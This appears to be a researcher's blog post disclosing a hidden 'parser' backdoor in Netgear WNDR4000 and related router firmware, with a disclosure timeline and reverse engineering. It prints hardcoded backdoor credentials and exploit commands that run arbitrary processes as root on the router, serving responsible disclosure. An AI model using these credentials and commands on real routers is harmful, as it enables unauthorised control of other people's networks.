tl;dr
Discovery of a second backdoor besides the usual telnet backdoor on the Netgear WNDR4000 and other netgear routers
Summary of disclosure timeline
The Netgear product security team has been very responsive and handled this issue in a professional way. Special thanks to Kyle Bambrick.
This blog entry was written on Oct 31, 2017 but published on May 9, 2018. I contacted Netgear via email on Nov 13, 2017.
Nov 28, 2017: I get a confirmation of the issue, and the fact that it was already known for other routers, as well as a list of affected models. I also learn this had already been assigned PSV-2017-2756.
Dec 7, 2017: I’m told a good news: the WNDR4000 will receive an upgrade, even if it has reached its end of life.
Feb 21, 2018: Netgear tells me all affected routers have firmware fixes available.
Mar 2, 2018: PSV-2017-2756 is updated to acknowledge my work.
Mar 16, 2018: I receive some very nice gifts from Netgear.
Telnet door
After playing “PlugCTF”, I wanted to go on with IoT exploitation, and decided to try and hack an “old” router, namely the Netgear WNDR4000. The first firmware that can be downloaded on this page dates back to 2011, hence the “old” qualifier.
Installing the latest firmware (1.0.2.6 at the time of writing) is easy via
the web interface. In the output of nmap
scans, the following line got my
attention
PORT STATE SERVICE VERSION
23/tcp open telnet?
Trying to get a shell on the router via telnet
fails, which is consistent
with the “?” in the above output. Googling “netgear wndr4000 telnet” gives a
promising first link entitled
Unlocking the Netgear Telnet Console.
There are a few telnetenable
scripts available, but the one that turned
out to work for me was
this one, modified to
connect via TCP (socket.SOCK_STREAM
) instead of UDP (socket.SOCK_DGRAM
).
The WNDR4000 being “old”, the credentials to unlock telnet are the well
known Gearguy:Geardog
and not the credentials for the web interface as on
new routers. And here we are, root on the router
BusyBox v1.7.2 (2017-06-30 11:44:50 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.
#
Even if this is well known, it’s still bad! Anybody on the LAN can be root
on this router. At first sight, it is not as bad with newer routers
(provided the administrator changed default admin:password
web interface
credentials), but it is far from being perfect, if the credentials for
the web interface are sent in clear (HTTP Basic Authentication) as on old
routers (I do not have a way to test it).
Thinking a bit further, on old routers the telnet credentials can be changed
and set to something different from the web admin credentials (see the
paragraph “Using the Netgear Router Console” in
here), by using a few
nvram
commands.
Parser door
Dissecting telnetenabled
main()
Let’s now try to understand how the telnet service is unlocked. Downloading
the latest firmware installed on the router (1.0.2.6 at the time of writing)
and extracting it with binwalk
is easy, and gives access to a
squashfs-root
directory. The command
~/squashfs-root$ find . -name telnet*
./usr/sbin/telnetd
./usr/sbin/telnetenabled
reveals the existence of the binary telnetenabled
. Time to reverse! The
main()
function first checks a global variable (@ 0x446990) to see if the
telnet daemon was spawned already. If it was, it puts("telnetInit0: already
initialized.")
, otherwise it turns itself into a daemon thanks to
daemon(1, 1)
. It then checks from the nvram if the telnetd_enable
is set
to 1, via acosNvramConfig_match("telnetd_enable", "1")
. If yes,
system("telnetd")
is called, after creating 4 filesystem nodes (named
“/dev/ptyp0”, “/dev/ttyp0”, “/dev/ptyp1”, “/dev/ttyp1”) with mknod()
calls. From what is seen with nvram show
, it seems there is no
telnetd_enable
variable, so the telnet daemon is not launched.
Then, something weird is done. Another check of the nvram is performed
acosNvramConfig_match("parser_enable", "1")
and if “parser_enable” is set
to “1” (which it is not, because again, there is nothing like this in a
nvram show
dump), system("parser")
is executed. More will be said in what
follows, about the parser
binary (found in /sbin
).
Finally, the abTelnetd0()
function is called. The return value is stored
in the aforementioned global variable (@ 0x446990) and depending on the
outcome, either the program puts("telnetenabled main(): unable to spawn.")
and reaches the end of main()
or it only does the latter.
abTelnetd0()
This function sets up a listener, on port 23 as expected and confirmed by:
.text:00400D6C li $a0, 0x17 # hostshort
.text:00400D70 la $t9, htons
.text:00400D74 nop
.text:00400D78 jalr $t9 ; htons
Once this is done, and after a client connection, it will receive 0x640
bytes of data, and call decodeData()
. The connection is then shut down,
and depending on the return value, either telnetd
is launched via a call to
system()
(and the creation of the 4 filesystem nodes as described
previously) or parser
is launched. The return value of abTelnetd0()
is
1
, whether telnetd
or parser
was launched.
decodeData()
This is the function responsible for analysing the data sent to the
telnetenable daemon. The format of the data has been discussed already
here and
there,
and this knowledge came from reversing the original Netgear windows client
called telnetEnable.exe
. From reversing directly decodeData()
, I can
confirm most of what was known. But there is no sign of a reserved
field,
and the password length seems to be limited only because the
Blowfish cipher
accepts keys of maximum size 448 bits (56 bytes), and must thus not be
longer than 36 characters, the full key being
“AMBIT_TELNET_ENABLE+” (20 bytes), appended with the password.
From this knowledge, and because new and old routers do not communicate with
the same protocol (UDP and TCP), I rewrote a python client Gearenable.py
available
here.
I shall not enter details of decodeData()
but mention what I think is most
important. This function checks not only the credentials set in the nvram
variables:
- on old routers: “super_username” and “super_passwd”, so
Gearguy:Geardog
- on new routers: “http_username” and “http_passwd”, so web admin credentials (as checked on the Netgear R7000 router firmware)
but also the credentials found in nvram in the variables “parser_username”
and “parser_passwd”!
decodeData()
returns -1
if the credentials are invalid, 1
for the
credentials allowing to launch telnetd
, and 2
for the parser
credentials. These credentials can be found easily with the telnet access
previously obtained:
# nvram get parser_username
Gearpar
# nvram get parser_passwd
Gearucp
Vivisecting parser
main()
To study what the parser
binary does, I used a combination of static and
dynamic analysis (by uploading a
statically compiled gdbserver
on the router’s /tmp
directory).
This binary sets up a listener on port 11000=0x2af8, as seen there
.text:00403ED8 li $v1, 0xFFFFF82A
.text:00403EDC sh $v0, 0xF8+var_D4($sp)
.text:00403EE0 sh $v1, 0xF8+var_D2($sp)
or simply by launching parser
on the router and seeing the line
tcp 0 0 0.0.0.0:11000 0.0.0.0:* LISTEN
in the output of netstat -l
.
If a client connects to this service, parser
will receive 0x400 bytes of
data in a global buffer @ 0x445200 (after some forks, etc that I do not
detail), then copy the first 0x44 bytes to another global buffer 0x400 bytes
further, i.e. @ 0x445600, zero out the 0x400 bytes of received data, and call
set_recv_option()
. It then sends 0x400 bytes of data back to the client,
from the already mentioned buffer that was filled by set_recv_option()
.
Depending on the value stored in the four bytes @ 0x445600 (somehow, a
number of send and receive value), either some more data is received and
sent again, or the socket is closed and parser exits (but the listener
will still be alive, thanks to the forking). The set_recv_option()
function is called with two arguments, the first one being the value stored
in the four bytes @ 0x445604, the second one being the address 0x445608.
set_recv_option()
The disassembly is pretty short so let me paste part of it here:
.text:00403634 .globl set_recv_option
.text:00403634 set_recv_option: # CODE XREF: main+288p
.text:00403634 # DATA XREF: main+280o ...
.text:00403634
.text:00403634 var_10 = -0x10
.text:00403634 var_8 = -8
.text:00403634 var_4 = -4
.text:00403634
.text:00403634 li $gp, 0x49A3C
.text:0040363C addu $gp, $t9
.text:00403640 addiu $sp, -0x20
.text:00403644 sw $ra, 0x20+var_4($sp)
.text:00403648 sw $s1, 0x20+var_8($sp)
.text:0040364C sw $gp, 0x20+var_10($sp)
.text:00403650 addiu $a0, -4
.text:00403654 sltiu $v0, $a0, 0x19
.text:00403658 bnez $v0, loc_4036BC
.text:0040365C sll $v0, $a0, 2
<snip>
The code that goes here does a `memcpy` of the string
"error: Unsupported code \n" into the global buffer @ 0x445200
<snip>
.text:004036BC
.text:004036BC loc_4036BC: # CODE XREF: set_recv_option+24j
.text:004036BC li $v1, 0x400000
.text:004036C0 nop
.text:004036C4 addiu $v1, (unk_404FC8 - 0x400000)
.text:004036C8 addu $v0, $v1
.text:004036CC lw $a0, 0($v0)
.text:004036D0 nop
.text:004036D4 addu $a0, $gp
.text:004036D8 jr $a0
.text:004036DC nop
.text:004036DC # End of function set_recv_option
The most important part of it is the final jr $a0
, which suggests the
existence of a jump table, depending on some “code” value that was received
as the first argument (in $a0).
Studying this jump table reveals that codes 4 to 28 are allowed. Some of the
functions called via this table do not need an argument, in which case the
value stored @ 0x445608 must be 0. Other functions take one argument, in
which case the buffer @ 0x445608 (of size 0x44 - 8 = 0x3c = 60) should
contain the argument (as a string). I wrote a dirty python script to
interact with parser
. It can be found
here.
Executing it with no argument provides the list of functions that can be
called:
./parser_exec.py
Usage: ./parser_exec.py command <optional argument (max 60 chars)>
Available functions:
- system_nvram_config (1 argument: use at your own risk)
- system_run_process (1 argument: process name)
- system_kill_process (1 argument: arg = 1 process name, or 2 process names separated by *)
- burn_sku (1 argument: use at your own risk)
- reboot (no argument)
- set_nvram_loaddefault (no argument, use at your own risk)
- burn_serial_number (1 argument: use at your own risk)
- burn_board_id (1 argument: use at your own risk)
- create_upgrade_file (no argument, use at your own risk)
- burn_ether_mac (1 argument: use at your own risk)
- burn_wcn_pin (1 argument: use at your own risk)
- print_version (no argument)
- abPotTime (no argument)
- abPotErase (no argument)
- abPotStop (no argument)
- check_usb_disk (no argument)
- bftpd (no argument)
- led_up (no argument)
- led_down (no argument)
- set_gpio (1 argument: arg = 1 value, or 2 values separated by *)
- set_wan_led (1 argument: arg = start, stop or 1)
- check_wps_button (no argument)
- check_wifi_button (no argument)
- check_reset_button (no argument)
- wlan_down (no argument)
We see that many things can be done, including turning the leds “off” with
led_down
(as if the router was offline) and turning them back “on” with
led_up
. This is really worrisome, even if this backdoor was most probably
put there for debugging purposes.
Let’s test a couple of functions after enabling parser
with
(HOST and MAC being the IP and MAC addresses of the router)
./Gearenable.py -i HOST -m MAC -u Gearpar -p Gearucp
(the above will not work if telnetd is running on the router).
For example:
./parser_exec.py print_version
Release version : Netgear Wireless Router WNDR4000
U12H18100/V1.0.2.6/9.1.87
Time : Jun 30 2017 11:32:11
CFE version : v1.0.4
or
./parser_exec.py system_run_process "ls -la / >&7"
drwxrwxr-x 13 0 root 138 Jun 30 05:45 .
drwxrwxr-x 13 0 root 138 Jun 30 05:45 ..
drwxrwxr-x 2 0 root 291 Jun 30 05:45 bin
drwxrwxrwt 3 0 root 20180 Jan 1 2003 dev
drwxr-xr-x 5 0 root 201 Jun 30 05:45 etc
drwxr-xr-x 4 0 root 477 Jun 30 05:45 lib
lrwxrwxrwx 1 0 root 9 Jun 30 05:45 media -> tmp/media
drwxrwxr-x 2 0 root 3 Jun 30 05:45 mnt
dr-xr-xr-x 50 0 root 0 Jan 1 2000 proc
drwxr-xr-x 2 0 root 722 Jun 30 05:45 sbin
drwxr-xr-x 10 0 root 0 Jan 1 2000 sys
drwxr-xr-x 10 0 root 0 Oct 31 12:50 tmp
drwxr-xr-x 7 0 root 94 Jun 30 05:45 usr
lrwxrwxrwx 1 0 root 7 Jun 30 05:45 var -> tmp/var
drwxr-xr-x 6 0 root 9394 Jun 30 05:45 www
start ls -la >&7 OK
Conclusion
This parser
binary looks like a backdoor within a backdoor, something one
could call a two-level Matryoshka backdoor. Interestingly, the Netgear R7000
router had the same backdoor until firmware version 1.0.9.10 (at the time of
writing, the penultimate version), but it is no longer here in version
1.0.9.12 (latest version at the time of writing). The telnetenabled
binary
is exactly the same, but the parser
binary has been removed from /sbin
.
The same holds for the
Netgear WNDR3400 router
for which the parser
binary disappeared when going from version 1.0.1.12
to 1.0.1.14.
This has not been done for the WNDR4000 that had not received any upgrade since 2013 (version 1.0.2.4):
./parser_exec.py print_version
Release version : Netgear Wireless Router WNDR4000
U12H18100/V1.0.2.4/9.1.86
Time : Dec 18 2013 14:03:06
CFE version : v1.0.6
until recently (see time stamp in the first print_version
output). The
WNDR4000 has in fact reached is end of life cycle, and only gets rare
upgrades.
In order to patch the backdoor, I strongly recommend to upgrade the firmware of routers, since fixes are now available (at the time of publishing this blog post), even for the WNDR4000.
I did not check other routers than the 3 mentioned in this post, and I
do not know if the Gearpar:Gearucp
credentials work on other routers
than the WNDR4000.